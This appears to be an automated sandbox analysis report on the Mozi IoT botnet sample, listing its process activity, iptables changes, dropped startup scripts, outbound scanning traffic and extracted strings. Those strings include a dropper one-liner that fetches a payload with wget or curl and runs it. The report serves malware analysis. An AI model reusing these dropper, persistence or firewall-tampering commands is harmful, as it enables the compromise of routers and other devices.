Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1334/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1576/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/2302/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/115/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/236/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/116/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/237/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/117/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/118/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/910/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/119/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/6226/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/912/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/10/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/2307/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/11/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/918/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/12/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/13/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/6243/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/14/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/6242/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/15/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/16/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/17/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/18/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1594/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/120/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/121/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1349/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/122/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/243/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/123/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/2/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/124/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/3/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/4/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/125/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/126/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1344/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1465/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1586/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/127/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/6/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/248/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/128/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/249/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1463/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/800/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/6238/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/9/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/801/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/20/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/21/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1900/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/22/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/23/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/24/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/25/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/26/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/27/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/28/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/29/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/491/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/250/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/130/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/251/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/252/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/132/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/253/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/254/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/255/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/256/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1599/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/257/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1477/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/379/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/258/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1476/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/259/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1475/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/4501/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/936/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/30/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/4505/stat	Jump to behavior

Source: /tmp/Mozi.m.elf (PID: 6232)	Shell command executed: /bin/sh -c "killall -9 telnetd utelnetd scfgmgr"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6284)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 41913 -j ACCEPT"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6291)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 41913 -j ACCEPT"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6294)	Shell command executed: /bin/sh -c "iptables -I PREROUTING -t nat -p tcp --destination-port 41913 -j ACCEPT"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6303)	Shell command executed: /bin/sh -c "iptables -I POSTROUTING -t nat -p tcp --source-port 41913 -j ACCEPT"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6306)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --dport 41913 -j ACCEPT"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6312)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 41913 -j ACCEPT"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6318)	Shell command executed: /bin/sh -c "iptables -I PREROUTING -t nat -p tcp --dport 41913 -j ACCEPT"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6321)	Shell command executed: /bin/sh -c "iptables -I POSTROUTING -t nat -p tcp --sport 41913 -j ACCEPT"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6329)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 58000 -j DROP"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6335)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 58000 -j DROP"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6340)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --dport 58000 -j DROP"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6361)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 58000 -j DROP"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6367)	Shell command executed: /bin/sh -c "cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL \"http://127.0.0.1\""	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6369)	Shell command executed: /bin/sh -c "cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword \"acsMozi\""	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6371)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 35000 -j DROP"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6374)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 50023 -j DROP"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6377)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 50023 -j DROP"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6383)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 35000 -j DROP"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6389)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 7547 -j DROP"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6395)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 7547 -j DROP"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6401)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --dport 35000 -j DROP"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6407)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --dport 50023 -j DROP"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6413)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 50023 -j DROP"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6419)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 35000 -j DROP"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6425)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --dport 7547 -j DROP"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6431)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 7547 -j DROP"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6441)	Shell command executed: /bin/sh -c "iptables -I INPUT -p udp --destination-port 28674 -j ACCEPT"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6444)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p udp --source-port 28674 -j ACCEPT"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6451)	Shell command executed: /bin/sh -c "iptables -I PREROUTING -t nat -p udp --destination-port 28674 -j ACCEPT"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6457)	Shell command executed: /bin/sh -c "iptables -I POSTROUTING -t nat -p udp --source-port 28674 -j ACCEPT"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6460)	Shell command executed: /bin/sh -c "iptables -I INPUT -p udp --dport 28674 -j ACCEPT"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6463)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p udp --sport 28674 -j ACCEPT"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6466)	Shell command executed: /bin/sh -c "iptables -I PREROUTING -t nat -p udp --dport 28674 -j ACCEPT"	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6469)	Shell command executed: /bin/sh -c "iptables -I POSTROUTING -t nat -p udp --sport 28674 -j ACCEPT"	Jump to behavior

Source: /bin/sh (PID: 6286)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 41913 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6293)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 41913 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6300)	Iptables executable: /usr/sbin/iptables -> iptables -I PREROUTING -t nat -p tcp --destination-port 41913 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6305)	Iptables executable: /usr/sbin/iptables -> iptables -I POSTROUTING -t nat -p tcp --source-port 41913 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6311)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 41913 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6317)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 41913 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6320)	Iptables executable: /usr/sbin/iptables -> iptables -I PREROUTING -t nat -p tcp --dport 41913 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6323)	Iptables executable: /usr/sbin/iptables -> iptables -I POSTROUTING -t nat -p tcp --sport 41913 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6333)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 58000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6337)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 58000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6342)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 58000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6366)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 58000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6373)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 35000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6376)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 50023 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6382)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 50023 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6388)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 35000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6394)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 7547 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6400)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 7547 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6406)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 35000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6412)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 50023 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6418)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 50023 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6423)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 35000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6430)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 7547 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6436)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 7547 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6443)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p udp --destination-port 28674 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6448)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p udp --source-port 28674 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6456)	Iptables executable: /usr/sbin/iptables -> iptables -I PREROUTING -t nat -p udp --destination-port 28674 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6459)	Iptables executable: /usr/sbin/iptables -> iptables -I POSTROUTING -t nat -p udp --source-port 28674 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6462)	Iptables executable: /usr/sbin/iptables -> iptables -I INPUT -p udp --dport 28674 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6465)	Iptables executable: /usr/sbin/iptables -> iptables -I OUTPUT -p udp --sport 28674 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6468)	Iptables executable: /usr/sbin/iptables -> iptables -I PREROUTING -t nat -p udp --dport 28674 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6474)	Iptables executable: /usr/sbin/iptables -> iptables -I POSTROUTING -t nat -p udp --sport 28674 -j ACCEPT	Jump to behavior

Source: /usr/bin/dash (PID: 6239)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.XlTs5dmQSe /tmp/tmp.5VLGGYD6OI /tmp/tmp.KMqOsJZXWu			Jump to behavior
Source: /usr/bin/dash (PID: 6241)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.XlTs5dmQSe /tmp/tmp.5VLGGYD6OI /tmp/tmp.KMqOsJZXWu			Jump to behavior

Source: /tmp/Mozi.m.elf (PID: 6272)

Reads from proc file: /proc/stat

Jump to behavior

Source: /tmp/Mozi.m.elf (PID: 6230)	File: /usr/networks (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/rcS.d/S95baby.sh (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/init.d/S95baby.sh (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/Mozi.m.elf (PID: 6230)

File written: /usr/networks

Jump to dropped file

Source: /tmp/Mozi.m.elf (PID: 6230)	Shell script file created: /etc/rcS.d/S95baby.sh			Jump to dropped file
Source: /tmp/Mozi.m.elf (PID: 6230)	Shell script file created: /etc/init.d/S95baby.sh			Jump to dropped file

Source: submitted sample

Stderr: telnetd: no process foundutelnetd: no process foundscfgmgr: no process foundUnsupported ioctl: cmd=0xffffffff80045705Unsupported ioctl: cmd=0xffffffff80045705Unsupported ioctl: cmd=0xffffffff80045705/bin/sh: 1: cfgtool: not found/bin/sh: 1: cfgtool: not foundUnsupported ioctl: cmd=0xffffffff80045705Unsupported ioctl: cmd=0xffffffff80045705Unsupported ioctl: cmd=0xffffffff80045705Unsupported ioctl: cmd=0xffffffff80045705Unsupported ioctl: cmd=0xffffffff80045705Unsupported ioctl: cmd=0xffffffff80045705: exit code = 0

Source: /tmp/Mozi.m.elf (PID: 6268)	Opens: /proc/net/route			Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6268)	Opens: /proc/net/route			Jump to behavior

Source: Mozi.m.elf	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Mozi.m.elf	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh \|\|curl -O http://%s:%d/bin.sh \|\|/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh \|\|(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
Source: Mozi.m.elf	String: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: networks.14.dr	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: networks.14.dr	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh \|\|curl -O http://%s:%d/bin.sh \|\|/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh \|\|(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
Source: networks.14.dr	String: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'

Source: global traffic	TCP traffic: 45.153.216.8 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 13.209.203.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 194.213.146.39 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 196.110.129.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 113.146.56.79 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 207.207.172.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 61.2.36.48 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 32.170.33.253 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 110.142.198.158 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 217.238.86.73 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 179.30.194.108 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 43.107.215.199 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 65.131.166.130 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 141.80.218.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 1.146.114.34 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 37.215.196.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 42.186.151.84 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 210.164.84.185 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 220.74.77.186 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 101.125.216.151 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 89.213.177.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 121.136.2.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 51.217.212.91 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 79.10.209.34 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 167.126.69.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 92.35.9.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 97.164.5.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 167.83.233.35 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 72.93.110.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 113.8.22.97 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 195.121.56.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 177.171.143.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 123.175.241.125 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 53.31.107.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 31.20.181.48 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 142.31.67.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 169.30.77.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 73.124.161.55 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 65.143.55.175 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 26.83.38.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 74.94.9.126 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 222.75.43.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 101.108.225.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 108.85.179.160 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 15.233.37.150 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 215.149.25.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 158.219.39.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 9.70.45.227 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 169.80.247.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 84.2.80.57 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 104.26.240.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 93.31.4.225 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 13.9.189.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 79.79.71.152 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 161.199.124.145 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 36.77.84.33 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 166.192.145.39 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 217.176.190.109 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 131.95.252.218 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 218.232.108.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 164.98.152.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 79.39.229.25 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 53.169.246.148 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 216.243.102.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 162.33.207.205 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 170.243.90.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 4.134.245.148 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 193.245.80.68 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 206.139.158.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 11.152.97.248 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 170.59.144.179 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 53.188.136.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 17.238.190.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 47.69.248.12 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 214.6.88.200 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 149.241.161.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 222.31.51.54 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 161.191.205.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 62.217.115.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 121.19.25.76 ports 1,2,4,5,9,49152
